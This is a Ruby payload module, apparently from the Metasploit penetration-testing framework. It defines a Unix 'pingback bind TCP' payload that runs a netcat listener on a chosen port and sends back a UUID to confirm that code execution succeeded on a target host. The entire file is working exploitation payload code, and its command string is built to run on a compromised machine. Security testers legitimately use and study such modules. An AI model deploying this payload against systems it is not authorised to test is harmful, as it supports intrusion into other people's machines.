53 lines
1.4 KiB
Ruby
53 lines
1.4 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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CachedSize = 103
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include Msf::Payload::Single
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include Msf::Payload::Pingback
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include Msf::Payload::Pingback::Options
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Unix Command Shell, Pingback Bind TCP (via netcat)',
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'Description' => 'Accept a connection, send a UUID, then exit',
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'Author' =>
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[
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'asoto-r7'
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],
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'License' => MSF_LICENSE,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Handler' => Msf::Handler::BindTcp,
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'Session' => Msf::Sessions::Pingback,
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'netcat'
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))
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register_advanced_options(
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[
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OptString.new('NetcatPath', [true, 'The path to the Netcat executable', 'nc'])
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]
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)
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end
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#
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# Constructs the payload
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#
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def generate(_opts = {})
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super.to_s + command_string
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end
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#
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# Returns the command string to use for execution
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#
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def command_string
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self.pingback_uuid ||= self.generate_pingback_uuid
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"printf '#{pingback_uuid.scan(/../).map { |x| "\\x" + x }.join}' | (#{datastore['NetcatPath']} -lp #{datastore['LPORT']} || #{datastore['NetcatPath']} -l #{datastore['LPORT']})"
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end
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end
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